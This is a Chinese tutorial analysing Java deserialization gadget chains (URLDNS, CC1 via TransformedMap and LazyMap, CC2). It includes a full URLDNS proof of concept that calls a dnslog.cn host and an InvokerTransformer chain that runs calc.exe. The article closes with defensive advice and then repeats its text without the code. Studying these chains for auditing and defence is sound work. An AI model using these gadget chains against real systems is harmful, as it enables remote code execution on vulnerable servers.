CC1~CC7链子分析(附带URLDNS)
字数 6560 2025-11-04 20:48:53

Java反序列化漏洞利用链(CC链)深入教学文档

1. 概述

Java反序列化漏洞是安全领域一个经典且危害巨大的漏洞类型。当程序对用户可控的序列化数据进行反序列化时,如果攻击者能够构造恶意的序列化数据,就有可能触发一系列特定的方法调用链(Gadget Chain),最终实现远程代码执行(RCE)。

Apache Commons Collections库(简称CC库)因其提供了一系列可以修改对象属性的“Transformer”接口和实现类,成为了构造这种利用链的“宝库”。Ysoserial工具集成了多条基于CC库的利用链,分别命名为CC1, CC2, CC3, CC4, CC5, CC6, CC7等。

本文档将详细分析其中最核心和具有代表性的几条链:URLDNSCC1(TransformedMap链和LazyMap链) 以及 CC2


2. 前置知识

2.1 Java反序列化机制

  • 当一个类实现了 java.io.Serializable 接口,它的对象就可以被序列化(转换成字节流)和反序列化(从字节流恢复为对象)。
  • 反序列化过程由 ObjectInputStream.readObject() 方法主导。
  • 关键钩子:如果一个可序列化的类定义了具有特定签名的方法 private void readObject(ObjectInputStream in),那么在反序列化时,readObject 方法会被自动调用,而不是仅仅进行默认的字段赋值。这为攻击者提供了执行复杂逻辑的入口点。

2.2 Commons Collections 核心组件

  • org.apache.commons.collections.Transformer 接口:只有一个方法 Object transform(Object input)。它的作用是将一个输入对象转换成另一个输出对象。
  • org.apache.commons.collections.functors:包含多个 Transformer 的实现类,是构造利用链的“武器零件”:
    • ConstantTransformer:无论输入是什么,总是返回一个预设的常量对象。
    • InvokerTransformer:利用Java反射,可以调用任意对象的任意方法。这是执行命令的核心。
    • ChainedTransformer:将多个 Transformer 串联起来,前一个的输出作为后一个的输入。

3. URLDNS 链(无依赖探测链)

3.1 链子特点与用途

  • 用途:主要用于检测目标是否存在Java反序列化漏洞,通常作为“敲门砖”。
  • 特点
    1. 不依赖CC库:只使用JDK内置类,通用性极强。
    2. 无害探测:利用链的最终效果是发起一次DNS查询,无法直接执行命令,但可以证明漏洞存在。
    3. 无回显:通过外部的DNS日志平台(如dnslog.cn)来接收查询记录,从而确认漏洞。

3.2 技术原理分析

核心思路是寻找一个在反序列化过程中会自动调用 hashCode() 方法的类,并且能够连接到 URL 类的 hashCode 方法。

  1. 起点:HashMap.readObject()

    • HashMap 在反序列化时,需要将其键值对重新写入。在 readObject 方法中,会调用 hash() 方法来计算每个键(Key)的哈希值。
    • hash() 方法的实现是 (key == null) ? 0 : (h = key.hashCode())。这意味着它会调用我们放入 HashMap 的Key对象的 hashCode() 方法。
  2. 关键跳转:URL.hashCode()

    • java.net.URL 类重写了 hashCode 方法。在其方法内部,如果 hashCode 字段为初始值 -1,则会调用 handler.hashCode(this)
    • URLStreamHandler.hashCode(URL u) 方法中,会调用 getHostAddress(URL u) 方法,该方法会解析URL的主机名,从而发起DNS查询。
  3. 构造技巧与问题解决

    • 直接构造 HashMap.put(new URL("http://dnslog.cn"), value) 会在本地执行 put 操作时就触发一次DNS查询,造成干扰。
    • 解决方案:利用反射,在 put 之前临时修改URL对象的 hashCode 字段为一个非 -1 的值(如 1234)。这样,在 put 时,由于 hashCode 不为 -1URL.hashCode() 方法会直接返回该值,而不会解析域名。
    • 在序列化之前,再通过反射将 hashCode 改回 -1。这样,在目标服务器反序列化时,hashCode-1,就会正常触发DNS查询。

3.3 完整PoC代码

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        // 1. 创建要探测的DNS URL
        URL url = new URL("http://your-subdomain.dnslog.cn");

        // 2. 通过反射获取并修改URL的hashCode字段,避免put时触发DNS
        Field hashCodeField = URL.class.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1234); // 设置为一个非-1的值

        // 3. 创建HashMap并将URL作为Key放入
        HashMap<URL, Integer> hashMap = new HashMap<>();
        hashMap.put(url, 1); // 此时put不会触发DNS

        // 4. 将hashCode改回-1,确保反序列化时触发
        hashCodeField.set(url, -1);

        // 5. 序列化对象到文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(hashMap);
        oos.close();

        // 6. 模拟反序列化(漏洞触发点)
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject(); // 此时会触发DNS查询
        ois.close();
    }
}

4. CC1 链(TransformedMap 链)

4.1 核心组件:TransformedMap

  • TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) 方法可以包装一个普通的Map,返回一个 TransformedMap 对象。
  • 当对该Map进行添加或修改操作时,会触发相应的 transform 方法。
  • 关键触发点:
    • put()transformValue()valueTransformer.transform(value)
    • setValue()checkSetValue()valueTransformer.transform(value)

4.2 寻找反序列化入口:AnnotationInvocationHandler

  • sun.reflect.annotation.AnnotationInvocationHandler 类实现了 Serializable 接口,并且有私有的 readObject 方法。
  • 在其 readObject 方法中,有一个循环会遍历 memberValues(一个Map对象)的每一项,并调用其 setValue 方法。
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Object value = memberValue.getValue();
        // ... 一些检查 ...
        // 关键:这里调用了entry的setValue方法!
        memberValue.setValue(...);
    }
    
  • 如果我们能控制 memberValues 为精心构造的 TransformedMap,那么 memberValue.setValue() 实际上会调用 TransformedMap 从父类继承的 setValue 方法,最终触发 checkSetValue,进而执行我们设定的 valueTransformer

4.3 利用链构造与多态的应用

  1. 构造Transformer链:使用 ChainedTransformerInvokerTransformer 构造命令执行链。
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    
  2. 包装Map:创建一个Map,并用 TransformedMap.decorate 进行包装,传入上述 transformerChain 作为 valueTransformer
  3. 创建AnnotationInvocationHandler实例:通过反射实例化 AnnotationInvocationHandler,并将包装好的 TransformedMap 作为其 memberValues 参数传入。注意,传入的注解类(如 Target.class)必须包含Map中的Key。

多态的关键点:在 readObject 中,memberValue 的类型是 Map.Entry。而我们的 TransformedMap 中的Entry实际上是其父类 AbstractInputCheckedMapDecorator.MapEntry。当调用 entry.setValue() 时,由于多态,执行的是子类 TransformedMap 所关联的父类 MapEntrysetValue 方法,该方法内部调用了 this.parent.checkSetValue(value),而 this.parent 正是我们传入的 TransformedMap 对象。这样就成功地将执行流转到了 TransformedMap 的逻辑上。


5. CC1 链(LazyMap 链)

5.1 核心组件:LazyMap

  • LazyMapget(Object key) 方法会在如果Key不存在于Map中时,使用预设的 Transformer 来“懒加载”一个value并放入Map。
  • 触发点:LazyMap.get(key)this.factory.transform(key)

5.2 引入动态代理

  • 问题:我们需要在 AnnotationInvocationHandler.readObject 中触发 LazyMap.get,但 readObject 方法本身并没有直接调用 get
  • 解决方案:利用 Java动态代理
    • AnnotationInvocationHandler 实现了 InvocationHandler 接口。
    • 我们可以创建一个Map的代理对象。当这个代理对象的任何方法被调用时,都会触发其关联的 InvocationHandlerinvoke 方法。
  • 构造流程:
    1. 创建一个 LazyMap,其 factory 设置为恶意的 ChainedTransformer
    2. 通过反射创建一个 AnnotationInvocationHandler 实例(handler1),其 memberValues 是这个 LazyMap
    3. 使用 Proxy.newProxyInstance 创建一个Map的代理对象 proxyMap,并将其 InvocationHandler 设置为 handler1
    4. 再通过反射创建第二个 AnnotationInvocationHandler 实例(handler2),其 memberValuesproxyMap
    5. 序列化 handler2

5.3 链子执行流程

  1. 目标反序列化 handler2,进入 AnnotationInvocationHandler.readObject
  2. readObject 方法中会调用 memberValues.entrySet()。这里的 memberValuesproxyMap(代理对象)。
  3. 调用 proxyMap.entrySet() 会触发 handler1.invoke(...) 方法。
  4. handler1.invoke 方法中,会判断调用的方法名,并最终调用 this.memberValues.get(...)。这里的 this.memberValues 是我们最初构造的 LazyMap
  5. LazyMap.get(...) 被触发,执行恶意的 this.factory.transform(key),完成命令执行。

此链比TransformedMap链更通用,因为它不依赖于 setValue 这个特定的操作。


6. CC2 链

6.1 背景与特点

  • CC2链是为了在更高版本的JDK(如JDK 8u71之后)中绕过对 AnnotationInvocationHandler 的修复而提出的。
  • 它使用了 org.apache.commons.collections4.comparators.TransformingComparator 类。

6.2 技术原理

  • 核心类TransformingComparator 是一个比较器,它在 compare 方法中会调用 this.transformer.transform(object)
  • 寻找触发点:需要找到一个在反序列化时会调用 compare 方法的类。常用的类是 java.util.PriorityQueue
    • PriorityQueue 在反序列化时(readObject 方法中),会调用 heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare()
  • 构造流程
    1. 构造恶意的 TransformingComparator,其 transformer 设置为 InvokerTransformer,用于执行命令。
    2. 创建一个 PriorityQueue 对象,并将其 comparator 设置为恶意的 TransformingComparator
    3. 通过反射向队列中添加必要的元素,确保比较操作能正常进行。
    4. 序列化 PriorityQueue 对象。

6.3 简化理解

CC2链的构造相对直接,它在一个类(PriorityQueue)的 readObject 逻辑内就完成了从反序列化到命令执行的整个流程,无需像CC1那样通过动态代理进行复杂的跳转。其核心就是利用队列反序列化时必然进行的排序操作,来触发我们设置的比较器中的 transform 方法。


7. 总结与对比

利用链 核心触发类 关键方法 特点与用途
URLDNS HashMap readObject -> hash() -> URL.hashCode() 无害探测,仅发起DNS请求,不依赖CC库。
CC1 (TransformedMap) AnnotationInvocationHandler readObject -> Entry.setValue() -> TransformedMap.checkSetValue() 经典链,利用Map的修改操作触发Transformer。
CC1 (LazyMap) AnnotationInvocationHandler readObject -> 动态代理 -> invoke -> LazyMap.get() 利用动态代理,更为灵活,是CC1的另一种实现。
CC2 PriorityQueue readObject -> heapify() -> compare() -> TransformingComparator.transform() 用于绕过高版本JDK限制,逻辑相对直接。

8. 防御建议

  1. 输入校验:对反序列化的数据源进行严格的白名单校验。
  2. 使用安全替代方案:使用更安全的序列化/反序列化机制,如JSON、Protocol Buffers等。
  3. 升级库版本:及时升级Commons Collections等第三方库到安全版本(如3.2.2、4.1之后),这些版本禁用了危险的functors。
  4. 代码层面
    • 避免反序列化不可信数据。
    • ObjectInputStream 上重写 resolveClass 方法,进行严格的类白名单过滤。
  5. 运行时防护:使用Java安全管理器(Security Manager)或第三方RASP方案进行行为监控和拦截。

希望这份详尽的教学文档能帮助您深入理解Java反序列化漏洞的原理和CC利用链的构造技巧。学习这些知识的目的在于更好地进行安全防御和代码审计。

Java反序列化漏洞利用链(CC链)深入教学文档 1. 概述 Java反序列化漏洞是安全领域一个经典且危害巨大的漏洞类型。当程序对用户可控的序列化数据进行反序列化时,如果攻击者能够构造恶意的序列化数据,就有可能触发一系列特定的方法调用链(Gadget Chain),最终实现远程代码执行(RCE)。 Apache Commons Collections库(简称CC库)因其提供了一系列可以修改对象属性的“Transformer”接口和实现类,成为了构造这种利用链的“宝库”。Ysoserial工具集成了多条基于CC库的利用链,分别命名为CC1, CC2, CC3, CC4, CC5, CC6, CC7等。 本文档将详细分析其中最核心和具有代表性的几条链: URLDNS 、 CC1(TransformedMap链和LazyMap链) 以及 CC2 。 2. 前置知识 2.1 Java反序列化机制 当一个类实现了 java.io.Serializable 接口,它的对象就可以被序列化(转换成字节流)和反序列化(从字节流恢复为对象)。 反序列化过程由 ObjectInputStream.readObject() 方法主导。 关键钩子 :如果一个可序列化的类定义了具有特定签名的方法 private void readObject(ObjectInputStream in) ,那么在反序列化时, readObject 方法会被自动调用,而不是仅仅进行默认的字段赋值。这为攻击者提供了执行复杂逻辑的入口点。 2.2 Commons Collections 核心组件 org.apache.commons.collections.Transformer 接口 :只有一个方法 Object transform(Object input) 。它的作用是将一个输入对象转换成另一个输出对象。 org.apache.commons.collections.functors 包 :包含多个 Transformer 的实现类,是构造利用链的“武器零件”: ConstantTransformer :无论输入是什么,总是返回一个预设的常量对象。 InvokerTransformer :利用Java反射,可以调用任意对象的任意方法。这是执行命令的核心。 ChainedTransformer :将多个 Transformer 串联起来,前一个的输出作为后一个的输入。 3. URLDNS 链(无依赖探测链) 3.1 链子特点与用途 用途 :主要用于检测目标是否存在Java反序列化漏洞,通常作为“敲门砖”。 特点 : 不依赖CC库 :只使用JDK内置类,通用性极强。 无害探测 :利用链的最终效果是发起一次DNS查询,无法直接执行命令,但可以证明漏洞存在。 无回显 :通过外部的DNS日志平台(如dnslog.cn)来接收查询记录,从而确认漏洞。 3.2 技术原理分析 核心思路是寻找一个在反序列化过程中会自动调用 hashCode() 方法的类,并且能够连接到 URL 类的 hashCode 方法。 起点: HashMap.readObject() HashMap 在反序列化时,需要将其键值对重新写入。在 readObject 方法中,会调用 hash() 方法来计算每个键(Key)的哈希值。 hash() 方法的实现是 (key == null) ? 0 : (h = key.hashCode()) 。这意味着它会调用我们放入 HashMap 的Key对象的 hashCode() 方法。 关键跳转: URL.hashCode() java.net.URL 类重写了 hashCode 方法。在其方法内部,如果 hashCode 字段为初始值 -1 ,则会调用 handler.hashCode(this) 。 URLStreamHandler.hashCode(URL u) 方法中,会调用 getHostAddress(URL u) 方法,该方法会解析URL的主机名,从而发起DNS查询。 构造技巧与问题解决 直接构造 HashMap.put(new URL("http://dnslog.cn"), value) 会在本地执行 put 操作时就触发一次DNS查询,造成干扰。 解决方案 :利用反射,在 put 之前临时修改URL对象的 hashCode 字段为一个非 -1 的值(如 1234 )。这样,在 put 时,由于 hashCode 不为 -1 , URL.hashCode() 方法会直接返回该值,而不会解析域名。 在序列化之前,再通过反射将 hashCode 改回 -1 。这样,在目标服务器反序列化时, hashCode 为 -1 ,就会正常触发DNS查询。 3.3 完整PoC代码 4. CC1 链(TransformedMap 链) 4.1 核心组件:TransformedMap TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) 方法可以包装一个普通的Map,返回一个 TransformedMap 对象。 当对该Map进行添加或修改操作时,会触发相应的 transform 方法。 关键触发点: put() → transformValue() → valueTransformer.transform(value) setValue() → checkSetValue() → valueTransformer.transform(value) 4.2 寻找反序列化入口:AnnotationInvocationHandler sun.reflect.annotation.AnnotationInvocationHandler 类实现了 Serializable 接口,并且有私有的 readObject 方法。 在其 readObject 方法中,有一个循环会遍历 memberValues (一个Map对象)的每一项,并调用其 setValue 方法。 如果我们能控制 memberValues 为精心构造的 TransformedMap ,那么 memberValue.setValue() 实际上会调用 TransformedMap 从父类继承的 setValue 方法,最终触发 checkSetValue ,进而执行我们设定的 valueTransformer 。 4.3 利用链构造与多态的应用 构造Transformer链 :使用 ChainedTransformer 和 InvokerTransformer 构造命令执行链。 包装Map :创建一个Map,并用 TransformedMap.decorate 进行包装,传入上述 transformerChain 作为 valueTransformer 。 创建AnnotationInvocationHandler实例 :通过反射实例化 AnnotationInvocationHandler ,并将包装好的 TransformedMap 作为其 memberValues 参数传入。注意,传入的注解类(如 Target.class )必须包含Map中的Key。 多态的关键点 :在 readObject 中, memberValue 的类型是 Map.Entry 。而我们的 TransformedMap 中的Entry实际上是其父类 AbstractInputCheckedMapDecorator.MapEntry 。当调用 entry.setValue() 时,由于多态,执行的是子类 TransformedMap 所关联的父类 MapEntry 的 setValue 方法,该方法内部调用了 this.parent.checkSetValue(value) ,而 this.parent 正是我们传入的 TransformedMap 对象。这样就成功地将执行流转到了 TransformedMap 的逻辑上。 5. CC1 链(LazyMap 链) 5.1 核心组件:LazyMap LazyMap 的 get(Object key) 方法会在如果Key不存在于Map中时,使用预设的 Transformer 来“懒加载”一个value并放入Map。 触发点: LazyMap.get(key) → this.factory.transform(key) 。 5.2 引入动态代理 问题:我们需要在 AnnotationInvocationHandler.readObject 中触发 LazyMap.get ,但 readObject 方法本身并没有直接调用 get 。 解决方案:利用 Java动态代理 。 AnnotationInvocationHandler 实现了 InvocationHandler 接口。 我们可以创建一个Map的代理对象。当这个代理对象的任何方法被调用时,都会触发其关联的 InvocationHandler 的 invoke 方法。 构造流程: 创建一个 LazyMap ,其 factory 设置为恶意的 ChainedTransformer 。 通过反射创建一个 AnnotationInvocationHandler 实例( handler1 ),其 memberValues 是这个 LazyMap 。 使用 Proxy.newProxyInstance 创建一个Map的代理对象 proxyMap ,并将其 InvocationHandler 设置为 handler1 。 再通过反射创建第二个 AnnotationInvocationHandler 实例( handler2 ),其 memberValues 是 proxyMap 。 序列化 handler2 。 5.3 链子执行流程 目标反序列化 handler2 ,进入 AnnotationInvocationHandler.readObject 。 readObject 方法中会调用 memberValues.entrySet() 。这里的 memberValues 是 proxyMap (代理对象)。 调用 proxyMap.entrySet() 会触发 handler1.invoke(...) 方法。 在 handler1.invoke 方法中,会判断调用的方法名,并最终调用 this.memberValues.get(...) 。这里的 this.memberValues 是我们最初构造的 LazyMap 。 LazyMap.get(...) 被触发,执行恶意的 this.factory.transform(key) ,完成命令执行。 此链比TransformedMap链更通用,因为它不依赖于 setValue 这个特定的操作。 6. CC2 链 6.1 背景与特点 CC2链是为了在更高版本的JDK(如JDK 8u71之后)中绕过对 AnnotationInvocationHandler 的修复而提出的。 它使用了 org.apache.commons.collections4.comparators.TransformingComparator 类。 6.2 技术原理 核心类 : TransformingComparator 是一个比较器,它在 compare 方法中会调用 this.transformer.transform(object) 。 寻找触发点 :需要找到一个在反序列化时会调用 compare 方法的类。常用的类是 java.util.PriorityQueue 。 PriorityQueue 在反序列化时( readObject 方法中),会调用 heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare() 。 构造流程 : 构造恶意的 TransformingComparator ,其 transformer 设置为 InvokerTransformer ,用于执行命令。 创建一个 PriorityQueue 对象,并将其 comparator 设置为恶意的 TransformingComparator 。 通过反射向队列中添加必要的元素,确保比较操作能正常进行。 序列化 PriorityQueue 对象。 6.3 简化理解 CC2链的构造相对直接,它在一个类( PriorityQueue )的 readObject 逻辑内就完成了从反序列化到命令执行的整个流程,无需像CC1那样通过动态代理进行复杂的跳转。其核心就是利用队列反序列化时必然进行的排序操作,来触发我们设置的比较器中的 transform 方法。 7. 总结与对比 | 利用链 | 核心触发类 | 关键方法 | 特点与用途 | | :--- | :--- | :--- | :--- | | URLDNS | HashMap | readObject -> hash() -> URL.hashCode() | 无害探测,仅发起DNS请求,不依赖CC库。 | | CC1 (TransformedMap) | AnnotationInvocationHandler | readObject -> Entry.setValue() -> TransformedMap.checkSetValue() | 经典链,利用Map的修改操作触发Transformer。 | | CC1 (LazyMap) | AnnotationInvocationHandler | readObject -> 动态代理 -> invoke -> LazyMap.get() | 利用动态代理,更为灵活,是CC1的另一种实现。 | | CC2 | PriorityQueue | readObject -> heapify() -> compare() -> TransformingComparator.transform() | 用于绕过高版本JDK限制,逻辑相对直接。 | 8. 防御建议 输入校验 :对反序列化的数据源进行严格的白名单校验。 使用安全替代方案 :使用更安全的序列化/反序列化机制,如JSON、Protocol Buffers等。 升级库版本 :及时升级Commons Collections等第三方库到安全版本(如3.2.2、4.1之后),这些版本禁用了危险的functors。 代码层面 : 避免反序列化不可信数据。 在 ObjectInputStream 上重写 resolveClass 方法,进行严格的类白名单过滤。 运行时防护 :使用Java安全管理器(Security Manager)或第三方RASP方案进行行为监控和拦截。 希望这份详尽的教学文档能帮助您深入理解Java反序列化漏洞的原理和CC利用链的构造技巧。学习这些知识的目的在于更好地进行安全防御和代码审计。